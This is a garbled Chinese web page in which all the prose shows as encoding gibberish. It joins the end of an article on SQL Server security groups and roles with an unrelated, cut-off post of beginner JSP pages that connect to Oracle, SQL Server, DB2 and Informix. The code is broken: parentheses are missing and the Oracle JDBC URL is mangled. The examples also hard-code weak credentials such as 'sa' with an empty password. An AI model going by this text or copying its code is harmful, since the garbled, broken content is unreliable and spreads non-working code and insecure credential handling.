µÚ¶þÖÖ·½·¨ÊÇÈÃËùÓÐÍøվʹÓÃBasicÑéÖ¤¡£´Ëʱ£¬Ö»Óе±Óû§ÔÚ¶Ô»°¿òÖÐÊäÈëÁ˺Ϸ¨µÄÕÊ»§ºÍÃÜÂ룬IIS²Å»áÔÊÐíËûÃÇ·ÃÎÊÒ³Ãæ¡£IISÒÀ¿¿Ò»¸öNT°²È«Êý¾Ý¿âʵÏֵǼÉí·ÝÑéÖ¤£¬NT°²È«Êý¾Ý¿â¼È¿ÉÒÔÔÚ±¾µØ·þÎñÆ÷ÉÏ£¬Ò²¿ÉÒÔÔÚÓò¿ØÖÆÆ÷ÉÏ¡£µ±Óû§ÔËÐÐÒ»¸ö·ÃÎÊSQL ServerÊý¾Ý¿âµÄ³ÌÐò»òÕ߽ű¾Ê±£¬IIS°ÑÓû§ÎªÁËä¯ÀÀÒ³Ãæ¶øÌṩµÄÉí·ÝÐÅÏ¢·¢Ë͸ø·þÎñÆ÷¡£Èç¹ûÄãʹÓÃÕâÖÖ·½·¨£¬Ó¦¸Ã¼Çס£ºÔÚͨ³£Çé¿öÏ£¬ä¯ÀÀÆ÷Óë·þÎñÆ÷Ö®¼äµÄÃÜÂë´«ËÍÒ»°ãÊDz»¼ÓÃܵģ¬¶ÔÓÚÄÇЩʹÓÃBasicÑéÖ¤¶ø°²È«ÓÖºÜÖØÒªµÄÍøÕ¾£¬Äã±ØÐëʵÏÖSSL£¨Secure Sockets Layer£¬°²È«Ì×½Ó×ֲ㣩¡£

ÔÚ¿Í»§¶ËֻʹÓÃIE 5.0¡¢IE 4.0¡¢IE 3.0ä¯ÀÀÆ÷µÄÇé¿öÏ£¬Äã¿ÉÒÔʹÓõÚÈýÖÖÑéÖ¤·½·¨¡£Äã¿ÉÒÔÔÚWebÍøÕ¾ÉϺÍÐéÄâĿ¼É϶¼ÆôÓÃNTÑéÖ¤¡£IE»á°ÑÓû§µÇ¼¼ÆËã»úµÄÉí·ÝÐÅÏ¢·¢Ë͸øIIS£¬µ±¸ÃÓû§ÊÔͼµÇ¼SQL ServerʱIIS¾ÍʹÓÃÕâЩµÇ¼ÐÅÏ¢¡£Ê¹ÓÃÕâÖÖ¼ò»¯µÄ·½·¨Ê±£¬ÎÒÃÇ¿ÉÒÔÔÚÒ»¸öÔ¶³ÌÍøÕ¾µÄÓòÉ϶ÔÓû§Éí·Ý½øÐÐÑéÖ¤£¨¸ÃÔ¶³ÌÍøÕ¾µÇ¼µ½Ò»¸öÓëÔËÐÐ×ÅWeb·þÎñÆ÷µÄÓòÓÐ×ÅÐÅÈιØϵµÄÓò£©¡£

×îºó£¬Èç¹ûÓû§¶¼ÓиöÈËÊý×ÖÖ¤Ê飬Äã¿ÉÒÔ°ÑÄÇЩ֤ÊéÓ³Éäµ½±¾µØÓòµÄNTÕÊ»§ÉÏ¡£¸öÈËÊý×ÖÖ¤ÊéÓë·þÎñÆ÷Êý×ÖÖ¤ÊéÒÔͬÑùµÄ¼¼ÊõΪ»ù´¡£¬ËüÖ¤Ã÷Óû§Éí·Ý±êʶµÄºÏ·¨ÐÔ£¬ËùÒÔ¿ÉÒÔÈ¡´úNTµÄChallenge/Response£¨ÖÊѯ/»ØÓ¦£©ÑéÖ¤Ëã·¨¡£NetscapeºÍIE¶¼×Ô¶¯ÔÚÿһ¸öÒ³ÃæÇëÇóÖаÑÖ¤ÊéÐÅÏ¢·¢Ë͸øIIS¡£IISÌṩÁËÒ»¸öÈùÜÀíÔ±°ÑÖ¤ÊéÓ³Éäµ½NTÕÊ»§µÄ¹¤¾ß¡£Òò´Ë£¬ÎÒÃÇ¿ÉÒÔÓÃÊý×ÖÖ¤ÊéÈ¡´úͨ³£µÄÌṩÕÊ»§Ãû×ÖºÍÃÜÂëµÄµÇ¼¹ý³Ì¡£

Óɴ˿ɼû£¬Í¨¹ýNTÕÊ»§ÑéÖ¤Óû§Ê±ÎÒÃÇ¿ÉÒÔʹÓöàÖÖʵÏÖ·½·¨¡£¼´Ê¹µ±Óû§Í¨¹ýIIS¿çÔ½InternetÁ¬½ÓSQL Serverʱ£¬Ñ¡ÔñÈԾɴæÔÚ¡£Òò´Ë£¬ÄãÓ¦¸Ã°ÑNTÑéÖ¤×÷ΪÊ×Ñ¡µÄÓû§Éí·ÝÑéÖ¤°ì·¨¡£

Èý¡¢ÉèÖÃÈ«¾Ö×é
¹¹Ô찲ȫ²ßÂÔµÄÏÂÒ»¸ö²½ÖèÊÇÈ·¶¨Óû§Ó¦¸ÃÊôÓÚʲô×顣ͨ³££¬Ã¿Ò»¸ö×éÖ¯»òÓ¦ÓóÌÐòµÄÓû§¶¼¿ÉÒÔ°´ÕÕËûÃǶÔÊý¾ÝµÄÌض¨·ÃÎÊÒªÇó·Ö³ÉÐí¶àÀà±ð¡£ÀýÈ磬»á¼ÆÓ¦ÓÃÈí¼þµÄÓû§Ò»°ã°üÀ¨£ºÊý¾ÝÊäÈë²Ù×÷Ô±£¬Êý¾ÝÊäÈë¹ÜÀíÔ±£¬±¨±í±àдԱ£¬»á¼Æʦ£¬Éó¼ÆÔ±£¬²ÆÎñ¾­ÀíµÈ¡£Ã¿Ò»×éÓû§¶¼Óв»Í¬µÄÊý¾Ý¿â·ÃÎÊÒªÇó¡£

¿ØÖÆÊý¾Ý·ÃÎÊȨÏÞ×î¼òµ¥µÄ·½·¨ÊÇ£¬¶ÔÓÚÿһ×éÓû§£¬·Ö±ðµØΪËü´´½¨Ò»¸öÂú×ã¸Ã×éÓû§È¨ÏÞÒªÇóµÄ¡¢ÓòÄÚÈ«¾ÖÓÐЧµÄ×é¡£ÎÒÃǼȿÉÒÔΪÿһ¸öÓ¦Ó÷ֱ𴴽¨×飬Ҳ¿ÉÒÔ´´½¨ÊÊÓÃÓÚÕû¸öÆóÒµµÄ¡¢º­¸Ç¹ã·ºÓû§Àà±ðµÄ×顣Ȼ¶ø£¬Èç¹ûÄãÏëÒªÄܹ»¾«È·µØÁ˽â×é³ÉÔ±¿ÉÒÔ×öЩʲô£¬ÎªÃ¿Ò»¸öÓ¦ÓóÌÐò·Ö±ð´´½¨×éÊÇÒ»ÖֽϺõÄÑ¡Ôñ¡£ÀýÈ磬ÔÚÇ°ÃæµÄ»á¼ÆϵͳÖУ¬ÎÒÃÇÓ¦¸Ã´´½¨Data Entry Operators¡¢Accounting Data Entry ManagersµÈ×é¡£Çë¼Çס£¬ÎªÁ˼ò»¯¹ÜÀí£¬×îºÃΪ×éÈ¡Ò»¸öÄܹ»Ã÷È·±íʾ³ö×÷ÓõÄÃû×Ö¡£

³ýÁËÃæÏòÌض¨Ó¦ÓóÌÐòµÄ×éÖ®Í⣬ÎÒÃÇ»¹ÐèÒª¼¸¸ö»ù±¾×é¡£»ù±¾×éµÄ³ÉÔ±¸ºÔð¹ÜÀí·þÎñÆ÷¡£°´ÕÕÏ°¹ß£¬ÎÒÃÇ¿ÉÒÔ´´½¨ÏÂÃæÕâЩ»ù±¾×飺SQL Server Administrators£¬SQL Server Users£¬SQL Server Denied Users£¬SQL Server DB Creators£¬SQL Server Security Operators£¬SQL Server Database Security Operators£¬SQL Server Developers£¬ÒÔ¼° DB_Name Users£¨ÆäÖÐDB_NameÊÇ·þÎñÆ÷ÉÏÒ»¸öÊý¾Ý¿âµÄÃû×Ö£©¡£µ±È»£¬Èç¹û±ØÒªµÄ»°£¬Ä㻹¿ÉÒÔ´´½¨ÆäËû×é¡£

´´½¨ÁËÈ«¾Ö×éÖ®ºó£¬½ÓÏÂÀ´ÎÒÃÇ¿ÉÒÔÊÚÓèËüÃÇ·ÃÎÊSQL ServerµÄȨÏÞ¡£Ê×ÏÈΪSQL Server Users´´½¨Ò»¸öNTÑéÖ¤µÄµÇ¼²¢ÊÚÓèËüµÇ¼ȨÏÞ£¬°ÑMasterÊý¾Ý¿âÉèÖÃΪËüµÄĬÈÏÊý¾Ý¿â£¬µ«²»ÒªÊÚÓèËü·ÃÎÊÈκÎÆäËûÊý¾Ý¿âµÄȨÏÞ£¬Ò²²»Òª°ÑÕâ¸öµÇ¼ÕÊ»§ÉèÖÃΪÈκηþÎñÆ÷½ÇÉ«µÄ³ÉÔ±¡£½Ó×ÅÔÙΪSQL Server Denied UsersÖظ´Õâ¸ö¹ý³Ì£¬µ«Õâ´ÎÒª¾Ü¾øµÇ¼·ÃÎÊ¡£ÔÚSQL ServerÖУ¬¾Ü¾øȨÏÞʼÖÕÓÅÏÈ¡£´´½¨ÁËÕâÁ½¸ö×éÖ®ºó£¬ÎÒÃǾÍÓÐÁËÒ»ÖÖÔÊÐí»ò¾Ü¾øÓû§·ÃÎÊ·þÎñÆ÷µÄ±ã½Ý·½·¨¡£

ΪÄÇЩûÓÐÖ±½ÓÔÚSysxloginsϵͳ±íÀïÃæµÇ¼ÇµÄ×éÊÚȨʱ£¬ÎÒÃDz»ÄÜʹÓÃEnterpris Managr£¬ÒòΪEnterprise ManagerÖ»ÔÊÐíÎÒÃÇ´ÓÏÖÓеǼÃû×ÖµÄÁбíÑ¡Ôñ£¬¶ø²»ÊÇÓòÄÚËùÓÐ×éµÄÁÐ±í¡£Òª·ÃÎÊËùÓеÄ×飬Çë´ò¿ªQuery Analyzer£¬È»ºóÓÃϵͳ´æ´¢¹ý³Ìsp_addsrvrolememberÒÔ¼°sp_addrolemember½øÐÐÊÚȨ¡£

¶ÔÓÚ²Ù×÷·þÎñÆ÷µÄ¸÷¸ö×飬ÎÒÃÇ¿ÉÒÔÓÃsp_addsrvrolemember´æ´¢¹ý³Ì°Ñ¸÷¸öµÇ¼¼ÓÈëµ½ºÏÊʵķþÎñÆ÷½ÇÉ«£ºSQL Server Administrators³ÉΪSysadmins½ÇÉ«µÄ³ÉÔ±£¬SQL Server DB Creators³ÉΪDbcreator½ÇÉ«µÄ³ÉÔ±£¬SQL Server Security Operators³ÉΪSecurityadmin½ÇÉ«µÄ³ÉÔ±¡£×¢Òâsp_addsrvrolemember´æ´¢¹ý³ÌµÄµÚÒ»¸ö²ÎÊýÒªÇóÊÇÕÊ»§µÄÍêÕû·¾¶¡£ÀýÈ磬BigCoÓòµÄJoeSÓ¦¸ÃÊÇbigco\joes£¨Èç¹ûÄãÏëÓñ¾µØÕÊ»§£¬Ôò·¾¶Ó¦¸ÃÊÇserver_name\joes£©¡£

Òª´´½¨ÔÚËùÓÐÐÂÊý¾Ý¿âÖж¼´æÔÚµÄÓû§£¬Äã¿ÉÒÔÐÞ¸ÄModelÊý¾Ý¿â¡£ÎªÁ˼ò»¯¹¤×÷£¬SQL Server×Ô¶¯°ÑËùÓжÔModelÊý¾Ý¿âµÄ¸Ä¶¯¸´ÖƵ½ÐµÄÊý¾Ý¿â¡£Ö»ÒªÕýÈ·ÔËÓÃModelÊý¾Ý¿â£¬ÎÒÃÇÎÞÐ趨ÖÆÿһ¸öд´½¨µÄÊý¾Ý¿â¡£ÁíÍ⣬ÎÒÃÇ¿ÉÒÔÓÃsp_addrolemember´æ´¢¹ý³Ì°ÑSQL Server Security Operators¼ÓÈëµ½db_securityadmin£¬°ÑSQL Server Developers¼ÓÈëµ½db_owner½ÇÉ«¡£

×¢ÒâÎÒÃÇÈÔȻûÓÐÊÚȨÈκÎ×é»òÕÊ»§·ÃÎÊÊý¾Ý¿â¡£ÊÂʵÉÏ£¬ÎÒÃDz»ÄÜͨ¹ýEnterprise ManagerÊÚȨÊý¾Ý¿â·ÃÎÊ£¬ÒòΪEnterprise ManagerµÄÓû§½çÃæÖ»ÔÊÐíÎÒÃÇ°ÑÊý¾Ý¿â·ÃÎÊȨÏÞÊÚÓèºÏ·¨µÄµÇ¼ÕÊ»§¡£SQL Server²»ÒªÇóNTÕÊ»§ÔÚÎÒÃÇ°ÑËüÉèÖÃΪÊý¾Ý¿â½ÇÉ«µÄ³ÉÔ±»ò·ÖÅä¶ÔÏóȨÏÞ֮ǰÄܹ»·ÃÎÊÊý¾Ý¿â£¬µ«Enterprise ManagerÓÐÕâÖÖÏÞÖÆ¡£¾¡¹ÜÈç´Ë£¬Ö»ÒªÎÒÃÇʹÓõÄÊÇsp_addrolemember´æ´¢¹ý³Ì¶ø²»ÊÇEnterprise Manager£¬¾Í¿ÉÒÔÔÚ²»ÊÚÓèÓòÄÚNTÕÊ»§Êý¾Ý¿â·ÃÎÊȨÏÞµÄÇé¿öÏÂΪÈÎÒâNTÕÊ»§·ÖÅäȨÏÞ¡£

µ½ÕâÀïΪֹ£¬¶ÔModelÊý¾Ý¿âµÄÉèÖÃÒѾ­Íê³É¡£µ«ÊÇ£¬Èç¹ûÄãµÄÓû§ÈºÌå¶ÔÆóÒµ·¶Î§ÄÚ¸÷¸öÓ¦ÓÃÊý¾Ý¿âÓÐ×ÅÀàËƵķÃÎÊÒªÇó£¬Äã¿ÉÒÔ°ÑÏÂÃæÕâЩ²Ù×÷ÒƵ½ModelÊý¾Ý¿âÉϽøÐУ¬¶ø²»ÊÇÔÚÃæÏòÌض¨Ó¦ÓõÄÊý¾Ý¿âÉϽøÐС£

ËÄ¡¢ÔÊÐíÊý¾Ý¿â·ÃÎÊ
ÔÚÊý¾Ý¿âÄÚ²¿£¬ÓëÆù½ñΪֹÎÒÃǶԵǼÑéÖ¤µÄ´¦Àí·½Ê½²»Í¬£¬ÎÒÃÇ¿ÉÒÔ°ÑȨÏÞ·ÖÅä¸ø½ÇÉ«¶ø²»ÊÇÖ±½Ó°ÑËüÃÇ·ÖÅä¸øÈ«¾Ö×é¡£ÕâÖÖÄÜÁ¦Ê¹µÃÎÒÃÇÄܹ»ÇáËɵØÔÚ°²È«²ßÂÔÖÐʹÓÃSQL ServerÑéÖ¤µÄµÇ¼¡£¼´Ê¹Äã´ÓÀ´Ã»ÓÐÏëҪʹÓÃSQL ServerµÇ¼ÕÊ»§£¬±¾ÎÄÈԾɽ¨Òé·ÖÅäȨÏÞ¸ø½ÇÉ«£¬ÒòΪÕâÑùÄãÄܹ»ÎªÎ´À´¿ÉÄܳöÏֵı仯×öºÃ×¼±¸¡£

´´½¨ÁËÊý¾Ý¿âÖ®ºó£¬ÎÒÃÇ¿ÉÒÔÓÃsp_grantdbaccess´æ´¢¹ý³ÌÊÚȨDB_Name Users×é·ÃÎÊËü¡£µ«Ó¦¸Ã×¢ÒâµÄÊÇ£¬Óësp_grantdbaccess¶ÔÓ¦µÄsp_denydbaccess´æ´¢¹ý³Ì²¢²»´æÔÚ£¬Ò²¾ÍÊÇ˵£¬Äã²»ÄÜ°´Õվܾø¶Ô·þÎñÆ÷·ÃÎʵķ½·¨¾Ü¾ø¶ÔÊý¾Ý¿âµÄ·ÃÎÊ¡£Èç¹ûÒª¾Ü¾øÊý¾Ý¿â·ÃÎÊ£¬ÎÒÃÇ¿ÉÒÔ´´½¨ÁíÍâÒ»¸öÃûΪDB_Name Denied UsersµÄÈ«¾Ö×飬ÊÚȨËü·ÃÎÊÊý¾Ý¿â£¬È»ºó°ÑËüÉèÖÃΪdb_denydatareaderÒÔ¼°db_denydatawriter½ÇÉ«µÄ³ÉÔ±¡£×¢ÒâSQLÓï¾äȨÏ޵ķÖÅ䣬ÕâÀïµÄ½ÇÉ«Ö»ÏÞÖƶԶÔÏóµÄ·ÃÎÊ£¬µ«²»ÏÞÖƶÔDDL£¨Data Definition Language£¬Êý¾Ý¶¨ÒåÓïÑÔ£©ÃüÁîµÄ·ÃÎÊ¡£

ÕýÈç¶ÔµÇ¼¹ý³ÌµÄ´¦Àí£¬Èç¹û·ÃÎʱê¼ÇÖеÄÈÎÒâSIDÒѾ­ÔÚSysusersϵͳ±íµÇ¼Ç£¬SQL½«ÔÊÐíÓû§·ÃÎÊÊý¾Ý¿â¡£Òò´Ë£¬ÎÒÃǼȿÉÒÔͨ¹ýÓû§µÄ¸öÈËNTÕÊ»§SIDÊÚȨÓû§·ÃÎÊÊý¾Ý¿â£¬Ò²¿ÉÒÔͨ¹ýÓû§ËùÔÚµÄÒ»¸ö£¨»òÕ߶à¸ö£©×éµÄSIDÊÚȨ¡£ÎªÁ˼ò»¯¹ÜÀí£¬ÎÒÃÇ¿ÉÒÔ´´½¨Ò»¸öÃûΪDB_Name UsersµÄÓµÓÐÊý¾Ý¿â·ÃÎÊȨÏÞµÄÈ«¾Ö×飬ͬʱ²»°Ñ·ÃÎÊȨÊÚÓèËùÓÐÆäËûµÄ×é¡£ÕâÑù£¬ÎÒÃÇÖ»Ðè¼òµ¥µØÔÚÒ»¸öÈ«¾Ö×éÖÐÌí¼Ó»òÕßɾ³ý³ÉÔ±¾Í¿ÉÒÔÔö¼Ó»òÕß¼õÉÙÊý¾Ý¿âÓû§¡£

Îå¡¢·ÖÅäȨÏÞ
ʵʩ°²È«²ßÂÔµÄ×îºóÒ»¸ö²½ÖèÊÇ´´½¨Óû§¶¨ÒåµÄÊý¾Ý¿â½ÇÉ«£¬È»ºó·ÖÅäȨÏÞ¡£Íê³ÉÕâ¸ö²½Öè×î¼òµ¥µÄ·½·¨ÊÇ´´½¨Ò»Ð©Ãû×ÖÓëÈ«¾Ö×éÃû×ÖÅäÌ׵ĽÇÉ«¡£ÀýÈç¶ÔÓÚÇ°ÃæÀý×ÓÖеĻá¼Æϵͳ£¬ÎÒÃÇ¿ÉÒÔ´´½¨Accounting Data Entry Operators¡¢Accounting Data Entry ManagersÖ®ÀàµÄ½ÇÉ«¡£ÓÉÓÚ»á¼ÆÊý¾Ý¿âÖеĽÇÉ«ÓëÕÊÎñ´¦ÀíÈÎÎñÓйأ¬Äã¿ÉÄÜÏëÒªËõ¶ÌÕâЩ½ÇÉ«µÄÃû×Ö¡£È»¶ø£¬Èç¹û½ÇÉ«Ãû×ÖÓëÈ«¾Ö×éµÄÃû×ÖÅäÌ×£¬Äã¿ÉÒÔ¼õÉÙ»ìÂÒ£¬Äܹ»¸ü·½±ãµØÅжϳöÄÄЩ×éÊôÓÚÌض¨µÄ½ÇÉ«¡£

´´½¨ºÃ½ÇÉ«Ö®ºó¾Í¿ÉÒÔ·ÖÅäȨÏÞ¡£ÔÚÕâ¸ö¹ý³ÌÖУ¬ÎÒÃÇÖ»ÐèÓõ½±ê×¼µÄGRANT¡¢REVOKEºÍDENYÃüÁî¡£µ«Ó¦¸Ã×¢ÒâDENYȨÏÞ£¬Õâ¸öȨÏÞÓÅÏÈÓÚËùÓÐÆäËûȨÏÞ¡£Èç¹ûÓû§ÊÇÈÎÒâ¾ßÓÐDENYȨÏ޵ĽÇÉ«»òÕß×éµÄ³ÉÔ±£¬SQL Server½«¾Ü¾øÓû§·ÃÎʶÔÏó¡£

½ÓÏÂÀ´ÎÒÃǾͿÉÒÔ¼ÓÈëËùÓÐSQL ServerÑéÖ¤µÄµÇ¼¡£Óû§¶¨ÒåµÄÊý¾Ý¿â½ÇÉ«¿ÉÒÔ°üº¬SQL ServerµÇ¼ÒÔ¼°NTÈ«¾Ö×é¡¢±¾µØ×é¡¢¸öÈËÕÊ»§£¬ÕâÊÇËü×¹óµÄÌصãÖ®Ò»¡£Óû§¶¨ÒåµÄÊý¾Ý¿â½ÇÉ«¿ÉÒÔ×÷Ϊ¸÷ÖֵǼµÄͨÓÃÈÝÆ÷£¬ÎÒÃÇʹÓÃÓû§¶¨Òå½ÇÉ«¶ø²»ÊÇÖ±½Ó°ÑȨÏÞ·ÖÅä¸øÈ«¾Ö×éµÄÖ÷ÒªÔ­Òò¾ÍÔÚÓÚ´Ë¡£

ÓÉÓÚÄÚ½¨µÄ½ÇÉ«Ò»°ãÊÊÓÃÓÚÕû¸öÊý¾Ý¿â¶ø²»Êǵ¥¶ÀµÄ¶ÔÏó£¬Òò´ËÕâÀィÒéÄãֻʹÓÃÁ½¸öÄÚ½¨µÄÊý¾Ý¿â½ÇÉ«,£¬¼´db_securityadminºÍdb_owner¡£ÆäËûÄÚ½¨Êý¾Ý¿â½ÇÉ«£¬ÀýÈçdb_datareader£¬ËüÊÚÓè¶ÔÊý¾Ý¿âÀïÃæËùÓжÔÏóµÄSELECTȨÏÞ¡£ËäÈ»Äã¿ÉÒÔÓÃdb_datareader½ÇÉ«ÊÚÓèSELECTȨÏÞ£¬È»ºóÓÐÑ¡ÔñµØ¶Ô¸ö±ðÓû§»ò×é¾Ü¾øSELECTȨÏÞ£¬µ«Ê¹ÓÃÕâÖÖ·½·¨Ê±£¬Äã¿ÉÄÜÍü¼ÇΪijЩÓû§»òÕ߶ÔÏóÉèÖÃȨÏÞ¡£Ò»ÖÖ¸ü¼òµ¥¡¢¸üÖ±½Ó¶øÇÒ²»ÈÝÒ׳öÏÖ´íÎóµÄ·½·¨ÊÇΪÕâЩÌØÊâµÄÓû§´´½¨Ò»¸öÓû§¶¨ÒåµÄ½ÇÉ«£¬È»ºóÖ»°ÑÄÇЩÓû§·ÃÎʶÔÏóËùÐèÒªµÄȨÏÞÊÚÓèÕâ¸öÓû§¶¨ÒåµÄ½ÇÉ«¡£

Áù¡¢¼ò»¯°²È«¹ÜÀí
SQL ServerÑéÖ¤µÄµÇ¼²»½öÄܹ»·½±ãµØʵÏÖ£¬¶øÇÒÓëNTÑéÖ¤µÄµÇ¼Ïà±È£¬Ëü¸üÈÝÒ×±àдµ½Ó¦ÓóÌÐòÀï¡£µ«ÊÇ£¬Èç¹ûÓû§µÄÊýÁ¿³¬¹ý25£¬»òÕß·þÎñÆ÷ÊýÁ¿ÔÚÒ»¸öÒÔÉÏ£¬»òÕßÿ¸öÓû§¶¼¿ÉÒÔ·ÃÎÊÒ»¸öÒÔÉϵÄÊý¾Ý¿â£¬»òÕßÊý¾Ý¿âÓжà¸ö¹ÜÀíÔ±£¬SQL ServerÑéÖ¤µÄµÇ¼²»ÈÝÒ×¹ÜÀí¡£ÓÉÓÚSQL ServerûÓÐÏÔʾÓû§ÓÐЧȨÏ޵Ť¾ß£¬Òª¼ÇÒäÿ¸öÓû§¾ßÓÐÄÄЩȨÏÞÒÔ¼°ËûÃÇΪºÎÒªµÃµ½ÕâЩȨÏ޾͸ü¼ÓÀ§ÄÑ¡£¼´Ê¹¶ÔÓÚÒ»¸öÊý¾Ý¿â¹ÜÀíÔ±»¹Òªµ£¸ºÆäËûÔðÈεÄСÐÍϵͳ£¬¼ò»¯°²È«²ßÂÔÒ²ÓÐÖúÓÚ¼õÇáÎÊÌâµÄ¸´Ôӳ̶ȡ£Òò´Ë£¬Ê×Ñ¡µÄ·½·¨Ó¦¸ÃÊÇʹÓÃNTÑéÖ¤µÄµÇ¼£¬È»ºóͨ¹ýһЩ¾«ÐÄÑ¡ÔñµÄÈ«¾Ö×éºÍÊý¾Ý¿â½ÇÉ«¹ÜÀíÊý¾Ý¿â·ÃÎÊ¡£

ÏÂÃæÊÇһЩ¼ò»¯°²È«²ßÂԵľ­Ñé¹æÔò£º


Óû§Í¨¹ýSQL Server Users×é»ñµÃ·þÎñÆ÷·ÃÎÊ£¬Í¨¹ýDB_Name Users×é»ñµÃÊý¾Ý¿â·ÃÎÊ¡£
Óû§Í¨¹ý¼ÓÈëÈ«¾Ö×é»ñµÃȨÏÞ£¬¶øÈ«¾Ö×éͨ¹ý¼ÓÈë½ÇÉ«»ñµÃȨÏÞ£¬½ÇÉ«Ö±½ÓÓµÓÐÊý¾Ý¿âÀïµÄȨÏÞ¡£
ÐèÒª¶àÖÖȨÏÞµÄÓû§Í¨¹ý¼ÓÈë¶à¸öÈ«¾Ö×éµÄ·½Ê½»ñµÃȨÏÞ¡£
Ö»Òª¹æ»®µÃÇ¡µ±£¬ÄãÄܹ»ÔÚÓò¿ØÖÆÆ÷ÉÏÍê³ÉËùÓеķÃÎʺÍȨÏÞά»¤¹¤×÷£¬Ê¹µÃ·þÎñÆ÷·´Ó³³öÄãÔÚÓò¿ØÖÆÆ÷ÉϽøÐеĸ÷ÖÖÉèÖõ÷Õû¡£ËäȻʵ¼ÊÓ¦ÓÃÖÐÇé¿ö¿ÉÄÜÓÐËù±ä»¯£¬µ«±¾ÎĽéÉܵĻù±¾´ëÊ©ÈÔ¾ÉÊÊÓã¬ËüÃÇÄܹ»°ïÖúÄã¹¹Ôì³öºÜÈÝÒ×¹ÜÀíµÄ°²È«²ßÂÔ¡£
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-15 13:26
¡¶jspÁ¬½ÓÊý¾Ý¿â´óÈ«¡·  
£Û ×÷ÕߣºØýÃû    תÌù×Ô£º±¾Õ¾Ô­´´    µã»÷Êý£º4    ¸üÐÂʱ¼ä£º2003-11-26    ÎÄÕ¼È룺cxmy £Ý

ÏÖÔÚÓкöà³õѧjspµÄÍøÓѾ­³£»áÎÊÊý¾Ý¿âÔõôÁ¬½Ó°¡£¬ÔõôÀϳö´í°¡£¿ËùÒÔÎÒ¼¯ÖеÄÔÚÕâдƪÎÄÕ¹©´ó¼Ò²Î¿¼£¬ÆäʵÕâÖÖ°ÑÊý¾Ý¿âÂß¼­È«²¿·ÅÔÚjspÀïδ±ØÊǺõÄ×ö·¨£¬µ«ÊÇÓÐÀûÓÚ³õѧÕßѧϰ£¬ËùÒÔÎÒ¾ÍÕâÑù×öÁË£¬µ±´ó¼Òѧµ½Ò»¶¨³Ì¶ÈµÄʱºò£¬¿ÉÒÔ¿¼ÂÇÓÃMVCµÄģʽ¿ª·¢¡£ÔÚÁ·Ï°ÕâЩ´úÂëµÄʱºò£¬ÄãÒ»¶¨½«jdbcµÄÇý¶¯³ÌÐò·Åµ½·þÎñÆ÷µÄÀà·¾¶ÀȻºóÒªÔÚÊý¾Ý¿âÀィһ¸ö±ítest,ÓÐÁ½¸ö×ֶαÈÈçΪtest1£¬test2£¬¿ÉÒÔÓÃÏÂÃæSQL½¨
create table test(test1 varchar(20),test2 varchar(20)
È»ºóÏòÕâ¸ö±íдÈëÒ»Ìõ²âÊԼͼ
ÄÇôÏÖÔÚ¿ªÊ¼ÎÒÃǵÄjspºÍÊý¾Ý¿âÖ®Âðɡ£
Ò»¡¢jspÁ¬½ÓOracle8/8i/9iÊý¾Ý¿â£¨ÓÃthinģʽ£©
testoracle.jspÈçÏ£º
<%@ page contentType="text/html;charset=gb2312"%>
<%@ page import="java.sql.*"%>
<html>
<body>
<%Class.forName("oracle.jdbc.driver.OracleDriver".newInstance();
String url="jdbcracle:thin:@localhost:1521rcl";
//orclΪÄãµÄÊý¾Ý¿âµÄSID
String user="scott";
String password="tiger";
Connection conn= DriverManager.getConnection(url,user,password);
Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
String sql="select * from test";
ResultSet rs=stmt.executeQuery(sql);
while(rs.next()) {%>
ÄúµÄµÚÒ»¸ö×Ö¶ÎÄÚÈÝΪ£º<%=rs.getString(1)%>
ÄúµÄµÚ¶þ¸ö×Ö¶ÎÄÚÈÝΪ£º<%=rs.getString(2)%>
<%}%>
<%out.print("Êý¾Ý¿â²Ù×÷³É¹¦£¬¹§Ï²Äã";%>
<%rs.close();
stmt.close();
conn.close();
%>
</body>
</html>
¶þ¡¢jspÁ¬½ÓSql Server7.0/2000Êý¾Ý¿â
testsqlserver.jspÈçÏ£º
<%@ page contentType="text/html;charset=gb2312"%>
<%@ page import="java.sql.*"%>
<html>
<body>
<%Class.forName("com.microsoft.jdbc.sqlserver.SQLServerDriver".newInstance();
String url="jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=pubs";
//pubsΪÄãµÄÊý¾Ý¿âµÄ
String user="sa";
String password="";
Connection conn= DriverManager.getConnection(url,user,password);
Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
String sql="select * from test";
ResultSet rs=stmt.executeQuery(sql);
while(rs.next()) {%>
ÄúµÄµÚÒ»¸ö×Ö¶ÎÄÚÈÝΪ£º<%=rs.getString(1)%>
ÄúµÄµÚ¶þ¸ö×Ö¶ÎÄÚÈÝΪ£º<%=rs.getString(2)%>
<%}%>
<%out.print("Êý¾Ý¿â²Ù×÷³É¹¦£¬¹§Ï²Äã";%>
<%rs.close();
stmt.close();
conn.close();
%>
</body>
</html>
Èý¡¢jspÁ¬½ÓDB2Êý¾Ý¿â
testdb2.jspÈçÏ£º
<%@ page contentType="text/html;charset=gb2312"%>
<%@ page import="java.sql.*"%>
<html>
<body>
<%Class.forName("com.ibm.db2.jdbc.app.DB2Driver ".newInstance();
String url="jdbc:db2://localhost:5000/sample";
//sampleΪÄãµÄÊý¾Ý¿âÃû
String user="admin";
String password="";
Connection conn= DriverManager.getConnection(url,user,password);
Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
String sql="select * from test";
ResultSet rs=stmt.executeQuery(sql);
while(rs.next()) {%>
ÄúµÄµÚÒ»¸ö×Ö¶ÎÄÚÈÝΪ£º<%=rs.getString(1)%>
ÄúµÄµÚ¶þ¸ö×Ö¶ÎÄÚÈÝΪ£º<%=rs.getString(2)%>
<%}%>
<%out.print("Êý¾Ý¿â²Ù×÷³É¹¦£¬¹§Ï²Äã";%>
<%rs.close();
stmt.close();
conn.close();
%>
</body>
</html>
ËÄ¡¢jspÁ¬½ÓInformixÊý¾Ý¿â
testinformix.jspÈçÏ£º
<%@ page contentType="text/html;charset=gb2312"%>
<%@ page import="java.sql.*"%>
<html>
<body>
<%Class.forName("com.informix.jdbc.IfxDriver".newInstance();
String url =
"jdbc:informix-sqli://123.45.67.89:1533/testDB:INFORMIXSERVER=myserver;
user=testuser;password=testpassword";
//testDBΪÄãµÄÊý¾Ý¿âÃû
Connection conn= DriverManager.getConnection(url);
Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
String sql="select * from test";
ResultSet rs=stmt.executeQuery(sql);
